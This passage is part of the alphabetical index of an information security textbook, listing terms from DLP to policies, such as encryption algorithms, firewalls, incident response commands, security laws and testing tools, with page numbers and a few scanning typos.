DLP (Data Loss Prevention), 241-242, 293 
DMADYV (Six Sigma), 121 
DMAIC (Six Sigma), 121 
DMZ (Demilitarized Zones), 207, 268 
DNS (Domain Name System), 394-397, 506 
DNSSEC (Domain Name System Security Extensions), 506 
documentation 
after-action reports (incident response/recovery), 481 
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bidding-process documents, 76-77 
collaboration tools, 624-625 
exchanges/reviews, 53 
lessons learned reports (incident response/recovery), 480 
maintenance, 671 
outsourcing, 41 
PIPEDA, 48 
security documents, 71-77 
SLA, 249 
SOC reports, 404 
software development documentation, 700-704 
TCA, 40 
trend data, 183 
DoDAF (Department of Defense Architecture Framework), 113 
domain bridging (unauthorized), mobile device security/privacy, 344 
door locks, 442 
DoS (Denial of Service) attacks, 266, 621, 626, 630-631 
double-blind penetration testing, 399 
Double-DES (Digital Encryption Standard), 583 
double tagging, 261 
downloading, drive-by download attacks, 377 
downstream liability, 58 
downtime, 146, 479 
DPAPI (Data-Protection APT), 581 
drive mapping, host security, 314 
drive mounting, host security, 313 
drive-by download attacks, 377 
DRM (Digital Rights Management), 593-594 
dronejacking, 647 
Dropbox, hash matching, 522 
DRP (Disaster Recovery Plans), 144 
DSA (Digital Security Algorithm), 577 
DSS (Digital Signature Standard), 577 
DTP (Dynamic Trunking Protocol), 261 
dual-factor authentication, 548 
dual-homed firewalls, 206, 238 
dual stack solutions, 223 
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due care, risk management, 59 

due diligence, 43, 59 

dumpster diving, 389 

duties, separation of (security policies), 78-79 

dwell time, keystroke dynamics (authentication), 546 
dynamic packet filtering, 203 

dynamic passwords, 542 

dynamic testing, 686 


E 


e-discovery, 449-454 

EAC (Electronic Access Control), 442 

EAL (Evaluation Assurance Levels), CC, 287 

EAP (Extensible Authentication Protocol), 225-226 
eavesdropping, 414. See also packets, sniffing 

ECB (Electronic Code Book) mode (DES), 599 

ECC (Elliptic Curve Cryptography), 587, 610 
Economic Espionage Act, 48-49 

ECPA (Electronic Communications Privacy Act), 49 
edb-debugger, 441 

EDR (Endpoint Detection Response), endpoint security, 297 
EFS (Encrypting File Systems), 719 

eFuse, finding lost/stolen devices, 338 

egress filters (DLP), 242 

EK (Endorsement Keys), TPM chips, 319, 558 
Elastic Sandbox, 383 

elasticity (clouds), 42 

electric locks, 442 

electronic backups, 469 

Electronic Security Directive (EU), 50 

electronic signatures, 50 

electronic vaulting, 469 

El Gamal, 587 

email, 388, 596, 627-630, 658 

emergency response teams, security requirements/goals, 723 
emerging risks, updating policies/procedures, 70 
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employment, hiring personnel, 85-86 
encapsulation PPP command, 394 
enclaves (secure), 371, 521 
encryption 

3-D Secure, 580 

3DES, 583-585 

3ES, modes of, 602 

AES, 583-585, 620 

benefits of, 571 

BitLocker Drive Encryption, 719 

block ciphers, 597-598 

block-level encryption, 589 

Blowfish, 584-585 

CAST, 585 

data-at-rest encryption, 581-591, 602-603 

data-in-memory/processing, 581 

data-in-transit encryption, 579-580, 595 

DES, 582, 585, 599-601 

DES-X, 583 

Diffie-Hellman, 586 

disk encryption, 315, 320, 588-591 

document collaboration, 624 

Double-DES, 583 

DPAPI, 581 

DRM, 593-594 

ECC, 587, 610 

EFS, 719 

El Gamal, 587 

email, 629 

enclaves, 371 

file encryption, 315, 589-591 

full disk encryption, 718 

hard drives, 673 

HTTP, 579 

HTTPS, 580 

hybrid ciphers, 588 

IDEA, 583-585 
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IM, 340 

INE, 198, 231 

IPsec, 580-581 

Knapsack, 588 

mobile devices, 610 

PGP, 594 

port-level encryption, 591 
RC4, 584-585 

ROS, 584-585 

RC6, 584-585 

record-level encryption, 589-591 
RSA, 586-587 

S/MIME, 596 

SET, 580 

SGX, 581 

SHTTP, 580 

Skipjack, 584-585 

SSL, 579, 595 

storage collaboration, 624 
storage encryption, 589-590 
stream ciphers, 597-598 
TDE, 719 

TLS, 579, 595 

Twofish, 584-585 

wearable technology security/privacy, 349 
Zero Knowledge Proof, 588 


endpoint DLP (Data Loss Prevention), 242 

endpoint security, 290-297 

engagement, rules of (incident response), 83 

enrollment time (biometrics), 546 

enterprise resilience, 168-169 

enticement, incident response, 83 

entrapment, incident response, 83 

environmental changes, updating policies/procedures, 69 
environmental metric group (CVSS), 416 

EPA (U.S. Environmental Protection Agency), exemptions to risk 


assessment, 139 
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ERM (Enterprise Risk Management), COSO, 163 
ERP (Enterprise Resource Planning), 505 
error handling, application vulnerabilities, 362 
ESB (Enterprise Service Buses), integration solutions, 507 
ESP (Encapsulating Security Payloads), 217, 580 
EU (European Union), laws/regulations, 49-50 
evaluation/testing phase (SDLC), 668 
event handlers, 376 
event log policies (Group Policy), 300 
events 

incidents versus, 83 

SIEM, 199, 232 
evidence (data breaches), 455, 461-463, 470-471 
evolving technologies, researching security trends/threats, 642 
exception handling, application vulnerabilities, 362 
executive management, 720-721, 724-726 
exemptions, risk assessment, 139 
exploitation frameworks, 422-423, 436 
export controls, integrating diverse industries, 45 
external I/O, host security, 305-313 
external/internal audits, 403-404 
extranets, 268 
extreme (worst-case) scenario planning, 123-125 
eye (iris) scanning (biometrics), 344 


F 


facial scanning (biometrics), 344, 545 
facilities managers, security requirements/goals, 723 
Failover, 253 
Failsoft, 253 
failures 
MTBF, 146 
SPOF, 253 
FAR (False Acceptance Rates), biometrics, 546-547 
FATKit, 385 
fault injection attacks, 363-364, 684 
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fault-tolerance, 249, 496 
feature extraction (biometrics), 546 
Federal Privacy Act, 47 
federated identities, 559-563 
federation, 560 
FERMA (Federation of European Risk Management Associations), 
164-166 
Fiddler, 422 
FIFO (First-In, First-Out) rotation scheme, backups, 467 
file encryption, 315, 589-591 
File Fuzzer, 685 
file integrity monitoring, 437 
file system policies (Group Policy), 301 
financial staff, security requirements/goals, 722 
finding lost/stolen devices, 338 
fingerprinting 
authentication, 544 
biometrics, 344 
device fingerprinting, 420 
fingerprinting tools, 385-386 
OS fingerprinting, 657 
FIPS 199 (Federal Information Processing Standard), 99-102 
firewalls 
ACL reviews, 658 
bastion hosts, 206, 237 
dual-homed firewalls, 206, 238 
dynamic packet filtering, 203 
firewall attacks, 258 
host-based firewalls, endpoint security, 294 
multihomed firewalls, 207, 239 
network segmentation, 269 
NGFW, 205, 236 
packet-filtering firewalls, 202-204, 236 
proxy firewalls, 203-204, 233, 236 
remote access networks, 236 
screened subnets, 208, 239 
screen host firewalls, 207-208, 239 


1030 


stateful firewalls, 202-203 
three-legged firewalls, 207, 239 
WAF, 212-213, 234, 371 
firing personnel, 86 
firmware 
FOTA updates, 331 
threats to, 647 
UEFI, boot loaders, 318 
updates, 316, 377 
vulnerabilities, 377 
FISA (Foreign Intelligence Surveillance Act), 49 
FISMA (Federal Information Security Management Act), 47-48 
fitness trackers, 347, 350 
flashing BIOS, 316 
flight time, keystroke dynamics (authentication), 546 
follow-on phase (software acquisitions), 679 
foremost command, 477 
forensic analysis (incident response/recovery), 464 
forensic data, 350 
forensic investigations, 84 
forensic recovery, hard drives, 673 
formal code reviews, 387, 686 
forward proxies, 203 
forwarding plane. See data plane (networks) 
FOTA (Firmware-Over-The-Air) updates, 331 
fragmentation (Android), mobile device security/privacy, 340 
frameworks 
application security frameworks, SDLC, 677 
exploitation frameworks, 422-423, 436 
NIST Framework for Improving Critical Infrastructure Cybersecurity, 
160 
risk management frameworks, 149-158 
security control, 110-123, 137, 143, 150-163, 280, 673 
frequencies (radio) 
restrictions, mobile device security, 336 
spectrum management, 342 
FRR (False Rejection Rates), biometrics, 546-547 
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full backups, 466 

full disk encryption, mobile devices, 718 
full-knowledge testing, 400 

fuzzing, 363-364, 421-422, 683-685 


G 

gap analysis, 176 

gather requirements (SDLC), 674 

generation-based fuzzing, 363, 684 

geofencing, 335, 710 

geography, integrating diverse industries, 50-51 

geolocation/GPS location devices, 335, 709-711 

geotagging, 339, 368-369, 710 

gestures, mobile device authentication, 343 

GFS (Grandfather/Father/Son) rotation scheme, backups, 468 

glasses (wearable technology), 347 

GLBA (Gramm-Leach-Bliley Act), 47 

global IA industry/community, researching security trends/threats, 
653-659 

GoAccess, 438 

goals/requirements (security), 717-724 

Google Glass, 347 

governance (IT), 148-166, 726-727 

government/military classifications (information classification), 90 

GPG (GNU Privacy Guard), 594 

GPMC (Group Policy Management Console), 296, 300 

GPO (Group Policy Objects), 300 

GPS (Global Positioning System) devices, 709-711 

graphical passwords, 542 

gray box testing, 400-401 

gray hats, 656 

Graylog, 439 

GRE tunnels, 223 

Group Policy (Windows), 299-301, 306 

guidelines, 167 

GUI testing, 688 
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H 


hackers/hacking 
CFAA, 47 
hacktivists, 656 
OSINT, 390-397 
Hadoop, 652 
hand geometry scans, authentication, 545 
hand topography scans, authentication, 545 
hand/palm scans, authentication, 545 
handling data, 453-454 
hard drives, 673 
hardware 
anti-tamper technology, 338 
redundant hardware, 248 
threats to, 647 
updates, 670 
vulnerabilities, host security, 322 
harvesting email, 658 
hash matching (hash spoofing), clouds, 522 
hashing, 572-577 
HAVAL, 576 
HC1 headset computer (Zebra), 348 
HDMI ports, host security, 315 
headsets (wearable technology), 348 
Health Care and Education Reconciliation Act, 49 
health privacy, wearable technology security/privacy, 350 
Herzog and OSSTMM, Pete, 163 
heterogeneous components, resiliency issues with integrate solutions, 
494 
heterogeneous computing, 495 
heterogeneous databases, 494 
heuristic (rule-based) IDS/IPS, 196 
heuristics/behavioral analytics, 460 
HIDS/HIPS (Host-based IDS/IPS), 197, 230, 293 
high availability, 496, 513 
hijacked user accounts, 626 
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HIPAA (Health Insurance Portability and Accountability Act), 46 
hiring personnel, 85-86 
HITRUST CSF (Common Security Framework), 118 
HMAC (Hash MAC), 577 
honeynets, 647 
honeypots, 647 
hopping attacks (VLAN), 261-262 
horizontal privilege escalation, 362 
hosts 
cloud computing, 515 
firewalls, endpoint security, 294 
integration solutions, 487-504 
security, 287-297, 302-323, 520 
single platform hosts, 530 
single server hosts, 530 
tools, 427-441 
virtualization and data security, 530 
vulnerability scanners, 428 
hot fixes, 292 
HOTP (HMAC-Based One-Time Password) algorithm, 
authentication, 540 
hotspots, tethering, 341-342 
HR (Human Resources), security requirements/goals, 722 
HSM (Hardware Security Modules), 211-212, 233-234 
HSM (Hierarchical Storage Management), 469 
HTMLS (Hypertext Markup Language 5), 374 
HTTP (Hypertext Transfer Protocol), 579 
HTTP interceptors, 422 
HTTPS (HTTP Secure), 580 
human resources, legal advocacy/compliance, 70 
hunt teaming, 460 
HVAC controllers, 276 
hybrid ciphers, 588 
hybrid clouds, 42, 514 
hyperconverged infrastructures, virtualization, 521 
hypervisors, 518-519 
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I 


I (Integrity) metric, CVSS, 418 
1/O (external), host security, 305-313 
IA (Interoperability Agreements), 72 
IaaS (Infrastructure as a Service), public clouds, 516 
ICS (Industrial Control Systems), SCADA, 279-280 
ID-FF (Identity Federation Framework), SAML, 560 
IDEA (International Data Encryption Algorithm), 583-585 
identifying 
attack surfaces, 675 
threats, risk assessments, 139 
identity/identification 
authentication process, 537 
configuration identification, 672 
managing, 540, 559-563, 708 
proofing, 558 
propagation, 558 
RFID, 710-711 
theft, 47, 389, 624 
IDS/IPS (Intrusion Detection Systems/Intrusion Prevention Systems) 
anomaly-based IDS/IPS, 196 
endpoint security, 293 
HIDS/HIPS, 197, 230, 293 
IPS/IDS attacks, 258 
NIDS, 198, 230 
NIPS, 197, 230 
remote access networks, 230 
rule-based (heuristic) IDS/IPS, 196 
signature-based IDS/IPS, 195 
Snort IDS, writing rules, 259 
IETF (Internet Engineering Task Force), RFC, 643 
IFB (Invitations For Bids). See RFQ 
ifconfig command, 435 
IKE (Internet Key Exchange), 217, 581 
IM (Instant Messaging), 340, 345, 349, 625-627 
IMA (Integrity Measurement Architecture), boot loaders, 318 
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imaging disks, 464 
IMAP (Internet Message Access Protocol) and email, 627 
IMPACT, 423 
impact, severity of data breaches, 478 
implementation stage (SDLC), 666 
in-house developed applications/software, 493 
incident response/recovery, 449 

audits, 461 

chain of custody, 461-463, 470-471 

continuity planning, 465 

COOP, 465 

cyber incident response plans, 144 

data breaches, 454-463, 470-471, 478-480 

dcfldd command, 471 

dd command, 471 

disaster recovery, 465-469 

e-discovery, 449-454 

enticement, 83 

entrapment, 83 

events, 83 

foremost command, 477 

forensic analysis, 464 

heuristics/behavioral analytics, 460 

hunt teaming, 460 

incident detection/response, 458 

incident response teams, 454-455, 469 

memcpy command, 476 

nbstat command, 473 

nc command, 475 

netstat command, 474 

policies, 81-82 

post-incident response, 480-481 

process of, 81, 454-457, 461-463, 470-471 

review systems, 461 

rules of engagement, 83 

search/seizure, 463 

security logs, 461 
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surveillance, 463 

tcpdump command, 472 

tshark command, 476-477 
incremental backups, 466 
incremental software development method, 691 
inductance-enabled mobile payments, 341 
industrial/scientific equipment, 279 
INE (In-line Network Encryptors), 198, 231 
inference, 498 
information 

classifying, 89-90 

disclosure policies, 630 

gathering (reconnaissance), 385 

governance, 148-166 

ISCP, 144 

life cycle of, 89-90 

security, 89-90 

SIEM, 199, 232 

tangible/intangible value/costs (risk assessments), 138-139 
Infrastructure mode (WLAN), 308 
infrastuctures, CIP plans, 144 
ingress filters (DLP), 242 
inherent risk, risk assessment, 140 
initiate/plan phase (SDLC), 674 
initiation phase (SDLC), 665 
input validation, application vulnerabilities, 360-362, 366 
insider threats, incident response/recovery, 459 
insurance, HIPAA, 46 
integer overflow attacks, 367 
integration 

acquisitions, 501 

application integration, 504-507, 564-565 

CI, software development, 698 

cloud computing, 527-530 

data flow analysis for changing business needs, 487, 488 

data security, 497-500 

delegating, networks, 502 
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demergers/divestitures, 501 
deployment diagrams, 502-504 
design considerations, 501 
diverse industries, 44-51 
interoperability issues, 491-494 
mergers, 501 
resiliency issues, 494-496 
resource provisioning/deprovisioning, 500-501 
segmenting, networks, 502 
standards, 489-490 
storage integration, 504 
testing, 705 
virtualization, 527-530 
integrity 
CIA triad, categorizing data, 99-100 
data, 579, 595 
file integrity monitoring, 437 
integrity services, data flow enforcement, 243 
interfaces 
data, host security, 305 
dedicated interfaces, host security, 303-305 
design (SDD), 701 
loopback interfaces, 305 
management interfaces, host security, 304 
OOB interfaces, 303 
testing, 688 
weak interfaces, cloud storage, 337 
interference detection/avoidance, wireless controllers, 209 
internal/external audits, 403-404 
interoperability issues with integrated solutions, 491-494 
inventory control, 450-451, 709 
investments (ROI/TCO), 131-134 
IoT (Internet of Things), deception technology, 708 
IP video, 275 
IP-based access control, 277 
ipconfig command, 434 
IPsec (Internet Protocol Security), 216-218, 260, 301, 580-581 
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IPS (Intrusion Prevention Systems). See IDS/IPS 

IPv4 (Internet Protocol version 4), 222-224 

IPv6 (Internet Protocol version 6), 222-224 

IR (Infrared) cameras, 444 

IrDA (Infrared Data Association), host security, 307 

iris scanning (biometrics), 344, 545 

IriusRisk, threat modeling, 648 

ISA (Interconnection Security Agreements), 72 

ISAKMP (Internet Security Association and Key Management 
Protocol), 217, 581 

ISCP (Information System Contingency Plans), 144 

ISECOM (Institute for Security and Open Methodologies), OSSTMM, 
163 

ISMS (Information Security Management Systems), 110-112 

ISO (International Organization for Standardization), 52, 110-112, 
162, 680 

isolating data, data security in integrated solutions, 498 

issue-specific security policies (FERMA Risk Management Standard), 
166 

IT governance, 148-166, 726-727 

ITIL (Information Technology Infrastructure Library), 120 


J 


JAD (Joint Analysis Development) model, software development, 694 
Jad Debugger, 441 

jailbreaking mobile devices, 339 

Java applets, 373-374 

JavaScript, 374-376 

Javasnoop, 441 

job rotation, security policies, 79 

John the Ripper, 428 

journaling (remote), 469 

JSM (Java Security Model), 374 

JSON (JavaScript Object Notation), 372-373 
judgment in problem-solving, 187 
jurisdictions, 51, 516 

JVM (Java Virtual Machines), 373 
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K 


Kali Linux, Metasploit, 423 
Kennedy-Kassebaum Act. See HIPAA 
Kerberos authentication, 565 

kernel proxy firewalls, 204, 233, 236 
key escrow, 606 

key management, ISAKMP, 581 

key recovery, 606 

key stretching (key strengthening), 572 
keystroke dynamics, authentication, 545 
Knapsack, 588 

knowledge factor authentication, 538 
KnTTools, 384 

KPI (Key Performance Indicators), 178-180 
KRI (Key Risk Indicators), 178-180 


L 


L2TP (Layer 2 Tunneling Protocol), 216 
laptops 

cable locks, 444 

TPM chips, 339 
latency, analyzing security solutions, 184 
launches (measured), 317 
laws 

Basel II, 48 

CFAA, 47 

Computer Security Act, 47 

diverse industries, integrating, 46-50 

Economic Espionage Act, 48-49 

ECPA, 49 

EU laws, 49-50 

Federal Privacy Act, 47 

FISA, 49 

FISMA, 47-48 

GLBA, 47 

Health Care and Education Reconciliation Act, 49 
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HIPAA, 46 
Identity Theft Enforcement and Restitution Act, 47 
PCI DSS, 48 
PIPEDA, 48 
Sarbanes-Oxley (SOX) Act, 46 
USA PATRIOT Act, 47-49 
LDAP (Lightweight Directory Access Protocol), 564-565 
leaking data, web conferencing, 621 
least functionality, principle of, 290 
least privilege, principle of, 80-81 
legacy systems, interoperability issues with integrated solutions, 491 
legal advocacy, 70 
legal compliance, 70 
legal counsel, security requirements/goals, 724 
legal holds, 454 
legal ramifications of data breaches, 480 
legal requirements, integrating diverse industries, 46-50 
lessons learned reports (incident response/recovery), 480 
liabilities (downstream), 58 
libraries 
software libraries, 672 
standard libraries, 679 
third-party libraries, 369 
life cycle of information, 89-90 
lightweight code reviews, 388, 686 
likelihood of threats, 128-130 
Linux 
command shell, host security, 301 
Kali Linux, Metasploit, 423 
passwords, 544 
Perl, swatch script, 425 
SELinux, trusted OS, 289 
live migration, cloud computing virtualization vulnerabilities, 529 
load balancers, 209-211, 233, 253 
local exploitation frameworks, 436 
local policies (Group Policy), 300 
location factor authentication, 538 
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lockout policies, passwords, 543 
locks, 441-444, 718 
Logentries, 438 
Loggly, 438 
logical (technical) controls, 106-107, 725 
logical deployment diagrams, integrated solutions, 502-504 
logins, credential breaches, 624 
logs 
analyzing425-426, 438-439, 464 
audits, incident response/recovery, 461 
collecting, SIEM, 425 
event log policies (Group Policy), 300 
log reduction/analysis tools, 425-426, 438-439 
managing, 256-257 
monitoring, endpoint security, 295-297 
reviewing, 461, 658 
security logs, incident response/recovery, 461 
SIEM, log collection, 425 
software assurance, 677 
transaction log backups, 467, 719 
loopback interfaces, 305 
Lost Android app, 332 
lost/stolen devices, 388 
LPE (Local Privilege Escalation) attacks, 377 
Lpogz.io, 438 


M 


MAC (Mandatory Access Control), 551 
MAC addresses, port security, 263 
MAC filters, host security, 312 
Sticky Mac, 263 
MAC (Message Authentication Code), 577-578 
machine learning/AI (Artificial Intelligence), researching security 
trends, 653 
magnitude of impact (risk impact), 128 
maintenance 
analyzing security solutions, 185 
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BCP, 148 

documenting, 671 

maintenance/operational stage (SDLC), 666 

release/maintenance phase (SDLC), 676 

SDLC, 670 

temporary roll backs, 670 

updates, 670 
malware 

antimalware, 291, 522 

document collaboration, 624 

email, 630 

IM, 626 

mobile device security/privacy, 344 

sandboxing, 383 

social media, 391 

storage collaboration, 624 
MAM (Mobile Application Management), 56 
man-in-the-middle attacks, 218 
management interfaces, host security, 304 
management plane (networks), 254 
management/administration (executive) 

administrative controls, 104-105 

CEO, 720, 726 

CFO, 721 

CIO, 721 

CPO, 721 

CSO, 721 

facilities managers, 723 

physical security managers, 723-724 

security controls/processes, 724-725 

security requirements/goals, 720-721 
managing 

accounts, 540-541 

applications, 56, 331 

assets (inventory control), 709 

changes, 670-672, 677 

configurations, 671-672, 677 
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content, mobile devices, 331 

context-aware authentication/management, 334 

data, mobile devices, 331 

events, SIEM, 199, 232 

identity, 540, 559-563, 708 

keys, ISAKMP, 581 

logs, 256-257 

mobile devices, 56-57, 331 

network management/monitoring tools, 255-260 

OOB interfaces, 303 

passwords, 543 

patches, 292-293, 302 

risk. See risk management 

spectrum management and tethering, 342 

State, 376 

storage, HSM, 469 

threats, UTM, 194-195, 230 

top-level management, risk, 54 

user behaviors, 39 

vendors, 41 
mandatory vacations, security policies, 80 
mantraps, 277 
mapping/deployment diagrams, integrated solutions, 502-504 
master test plans, 702 
MD2 (Message Digest 2) algorithm, hashing, 574 
MD4 (Message Digest 4) algorithm, 574 
MD5 (Message Digest 5) algorithm, 266, 574 
MD6 (Message Digest 6) algorithm, 574 
MDM (Mobile Device Management), 56-57, 329 
Measured Boot, 318 
measured launches, 317 
media 

analyzing, 464 

backup media, 467 

libraries, archiving data, 453 
medical sensors/devices (wearable technology), 348-350 
memcpy command, 476 
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memory 
data-in-memory processing, 581 
dumping, 384-385 
FATKit, 385 
KnTTools, 384 
leaks, application vulnerabilities, 367 
Memdump memory-reading tool, 384 
memory cards, ownership factor authentication, 539 
secure memory and SoC, 272 
mergers/acquisitions, 42-44, 501 
mesh networks, 228 
message authentication, 577-578 
Metasploit, 423 
metrics (security), 177 
availability, 185 
capability, 185 
cost/benefit analysis, 186 
KPI, 178-180 
KRI, 178-180 
latency, 184 
maintainability, 185 
performance, 183 
recoverability, 186 
scalability, 184 
usability, 185 
microSD HSM, 212, 234 
Microsoft Baseline Security Analyzer, 428 
Microsoft SDL File/Regex Fuzzer, 685 
mics (recording), host security, 314 
migration (live), cloud computing virtualization vulnerabilities, 529 
MIL, CRR assessments, 169 
military/government classifications (information classification), 90 
MIME (Multipurpose Internet Mail Extensions), 596 
mirroring (screen), mobile devices, 330 
misconfigurations/nonmalicious threats, incident response/recovery, 
459 
misuse case (negative) testing, 687 
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mitigating risk. See risk management 
MMS (Multimedia Messaging Service), mobile device 
security/privacy, 345 
mobile applications, social media attacks, 390 
mobile devices. See also wearable technology 
applications, 331-335 
authentication, 335, 342-344 
BYOD, 332 
configuration profiles (MDM), 329 
containerization, 329 
content management, 331 
COPE, 332 
data management, 331 
data storage, 336-338 
de-perimeterization, 55-56 
encryption, 610 
full disk encryption, 718 
geolocation, 335 
latest attacks, researching, 645 
lost/stolen devices, 338 
managing, 56-57, 334 
personally owned, corporate-enabled mobile device policies, 330 
remote assistance, 330 
remote wiping, 332, 718 
risk management, 55-56 
SCEP, 332 
security/privacy, 336-341, 344-345, 350 
TPM chips, 339 
tracking, 718 
updates, 331 
user behavior and authentication, 335 
VPN, 333 
mobile payments, 340-341 
Mobile Wallet, 341 
MODAF (British Ministry of Defense Architecture Framework), 113 
monitoring 
auditing/monitoring services, data flow enforcement, 243 
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change monitoring, 247-248 
continuous monitoring/improvement, 86, 141 
DAM, 214, 240, 634 
file integrity monitoring, 437 
fitness monitors, 347, 350 
logs, endpoint security, 295-297 
monitoring/accepting phase (software acquisitions), 679 
network management/monitoring tools, 256-260 
performance, 669-670 
RUM, 687 
security, 669-670 
synthetic transaction monitoring, 686 
user behaviors, 40 
motivation (likelihood of threat), 129 
MOU (Memorandums Of Understanding), 73 
MPTD (Maximum Period Time of Disruption), 146 
MSA (Master Service Agreements), 75 
MS-CHAP v1 (Microsoft Challenge Handshake Authentication 
Protocol v1), 224-225 
MS-CHAP v2 (Microsoft Challenge Handshake Authentication 
Protocol v2), 225 
MSRD (Microsoft’s Security Risk Detection), 685 
MSSP (Managed Security Service Providers), 527 
MTBF (Mean Time Between Failures), 146, 249 
MTD (Maximum Tolerable Downtime), 146 
MTTR (Mean Time To Repair), 146, 249 
multi-factor authentication, 548 
multihomed firewalls, 207, 239 
multitenancy cloud computing model, public clouds, 515-516 
mutation fuzzing, 363, 684 
MX (Mail Exchange) records, 395, 506 
MyAppSecurity, threat modeling, 648 


N 


NAC (Network Access Control), 55, 199, 232, 269-271, 644 
NAP (Network Access Protection), 269 
nbstat command, 473 
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nc (Netcat) command, 475 
NDA (Non-Disclosure Agreements), 74 
need-to-know principle, 80-81 
negative (misuse case) testing, 687 
Nessus, 413, 419 
NetBIOS, nbstat command, 473 
netstat (network status) command, 429-430, 474 
NetworkMiner fingerprinting tool, 386 
networks 
A/V systems, 278-279 
administrators, security requirements/goals, 720 
analyzing, 464 
authentication, 224-226, 235 
automation systems, 274 
configuring components, 246-253 
control plane, 254 
data flow enforcement, 244-245 
data plane, 254 
de-perimeterization of boundaries, 54-59 
delegation, integrated solutions, 502 
DLP, 242 
enumerators, 420 
HVAC controllers, 276 
integration solutions, 487-504 
IP video, 275 
management plane, 254 
management/monitoring tools, 255-260 
mesh networks, 228 
NAC, 55, 269-271, 644 
physical access control systems, 277 
remote access, 216-237, 240 
SAN, 253 
scientific/industrial equipment, 279 
SDN, 254 
security assessment tools, 411-426 
segmentation, 269, 502 
sensors, 277 
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testing, 646 
virtual networks, researching latest attacks, 645 
VLAN, 260-262, 488 
VPN, 215-219, 235, 333, 618 
vulnerability scanners, 413, 419 
new technologies/systems/services, security trends/threats, 
researching, 641-642 
NEC (Near Field Communication), 307, 340-341 
NFS (Number Field Sieve), 587 
NGFW (Next-Generation Firewalls), 205, 236 
NIDS (Network IDS), 198, 230 
NIPS (Network IPS), 197, 230 
NIST (National Institute of Standards and Technology) 
Framework for Improving Critical Infrastructure Cybersecurity, 160 
risk management frameworks, 149-158 
SP 800 Series, 115-117, 137, 143, 150-158, 280, 673 
Nmap (Network Mapper), 411 
no access (authorization), default to, 553 
non-removable data storage, 337 
nonmalicious threats/misconfigurations, incident response/recovery, 
459 
nonpersistent agents (NAC), 270 
nonpersistent/persistent data, resiliency issues with integrated 
solutions, 495 
NOP (No-Operation) slides, 365-366 
notifications (push), mobile device security/privacy, 339 
NPV (Net Present Value), ROI, 132 
NS records (DNS), 395 
nslookup command, 396-397, 435 
numeric passwords, 542 
NX (No Execute) bits (processors), 682 


O 


OAKLEY, 581 

OAuth (Open Authorization), 553 
object tracking technologies, 709-711 
occupant emergency plans, 144 
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OCSP (Online Certificate Status Protocol), 604, 608 
OCTAVE (Operationally Critical Threat, Asset and Vulnerability 
Evaluation), 120 
OEM/carrier Android fragmentation, 340 
OFB (Output Feedback) mode (DES), 601 
OLA (Operating-Level Agreements), 73 
OllyDbg, 441 
on-premise cloud computing, 515 
onsite assessments, 53 
OOB (Out-of-Band) interfaces, host security, 303 
OpenID, 561 
open message format, asymmetric cryptography, 586 
open source software, interoperability issues with integrated solutions, 
493 
open standards, 489 
OpenSSL, 436 
operating system (container-based) virtualization, 520 
operational activities (SDLC), 669-673 
operational/maintenance stage (SDLC), 666 
optical jukeboxes, 469 
Orange Book (TCSEC), 287 
order of volatility (evidence collection), 470-471 
organizational security policies (FERMA Risk Management 
Standard), 165 
OS (Operating Systems) 
fingerprinting, 657 
secure enclaves, 371 
trusted OS, 287-290 
vulnerabilities, 377 
OSA (Open Source Authentication), host security, 312 
OSINT (Open Source Intelligence), 390-397 
OSSTMM (Open Source Security Testing Methodology Manual), 163 
OTP (One-Time Passwords), 542 
outages 
BCP outage impacts/downtime, 146 
revenue loss during outages, ROI, 131 
outsourcing, 41, 58-59 
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over-the-air updates, 331 
over the shoulder code reviews, 388 
overwriting hard drives, 673 
OWASP (Open Web Application Security Project), 355, 362, 648, 680 
ownership 
data, 43, 452, 499 
factor authentication, 538-539 
TCO, 133-134, 186 


P 


PaaS (Platform as a Service), public clouds, 516 
packets 

capturing, 657 

deep packet inspection, 242 

filtering, 202-204, 236 

NOP slides, 365 

sniffing, 414-415. See also eavesdropping 
pair programming, 388 
palm/hand scans, authentication, 545 
PAP (Password Authentication Protocol), 224-225, 394 
partial-knowledge testing, 400 
partnerships 

downstream liability, 58 

risk management, 40, 58 

TCA, 40 
passive fingerprinting tools, 386 
passwords, 224-225, 394, 427-428, 540-544 
patches, 292-293, 302 
path tracing, 465 
pattern matching, signature-based IDS/IPS, 195 
payback (ROTI), 132 
payloads, configuration profiles (MDM), 329 
payments (mobile), 340-341 
PCI DSS (Payment Card Industry Data Security Standard), 48 
PCR (Platform Configuration Register) hashes, TPM chips, 320 
PDP (Policy Decision Points), 555 
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Peach, 421, 684 
peer reviews, 706 
penetration testing, 384-385, 398-401, 667, 670 
PEP (Policy Enforcement Points), 555 
performance 
baselines, 669 
monitoring, 669-670 
security solutions, analyzing, 183 
peripheral devices 
host security, 305-313 
mobile payments (credit card readers), 341 
Perl, swatch script, 425 
permissions 
application permissions, 333 
granting, 719 
SCAP scanners, 418 
persistent/nonpersistent data, resiliency issues with integrated 
solutions, 495 
persistent/volatile agents (NAC), 270 
personal data theft, wearable technology security/privacy, 350 
personal information, PIPEDA, 48 
personally owned, corporate-enabled mobile device policies, 330 
personnel 
BCP, 142 
hiring, 85-86 
occupant emergency plans, 144 
screening, 85 
terminating, 86 
testing, 646 
PFS (Perfect Forward Secrecy), 578 
PGP (Pretty Good Privacy), 594, 629 
pharming, 389 
phishing, 388, 628, 659 
physical access control systems, 277 
physical controls, 107-108 
physical deployment diagrams, integrated solutions, 502-504 
physical reconnaissance, wearable technology security/privacy, 349 
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physical security 
controls/processes, 725 
physical security managers, 723-724 
tools, 441-444 
physical testing, 646 
physiological characteristics (authentication), 539, 544-545 
PII (Personally Identifiable Information), 77 
PIN, mobile device authentication, 343 
ping command, 431-432 
ping scans, 386 
pinning (public key), 608 
PIPEDA (Personal Information Protection and Electronic Documents 
Act), 48 
pivoting, 389 
PKI (Public Key Infrastructure)/digital certificates, 548, 603-608 
plan/initiate phase (SDLC), 674 
planning 
BCP, 141-148 
CIP plans, 144 
continuity planning, 465 
COOP, 144, 465 
crisis communications plans, 144 
cyber incident response plans, 144 
DRP, 144 
ERP, 505 
incident response plans, updating, 481 
ISCP, 144 
occupant emergency plans, 144 
testing plans, 702-704 
worst-case (extreme) scenario planning, 123-125 
planning phase (software acquisitions), 679 
platforms 
PaaS, public clouds, 516 
single platform hosts, virtualization and data security, 530 
PLC (Programmable Logic Controllers), SCADA, 279 
poisoning DNS caches, 506 
policies 
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access control policies, 553 

account policies (Group Policy), 300 
application wrapping, 330 

baselines, 167 

BCP policies, developing, 144 

BYOD policies, 68 

categories of, 167 

COPE, 332 

data handling policies, 453-454 

data retention policies, 451, 500 

defined, 65 

disclosure policies, 630 

diverse industries, integrating, 45 

event log policies (Group Policy), 300 
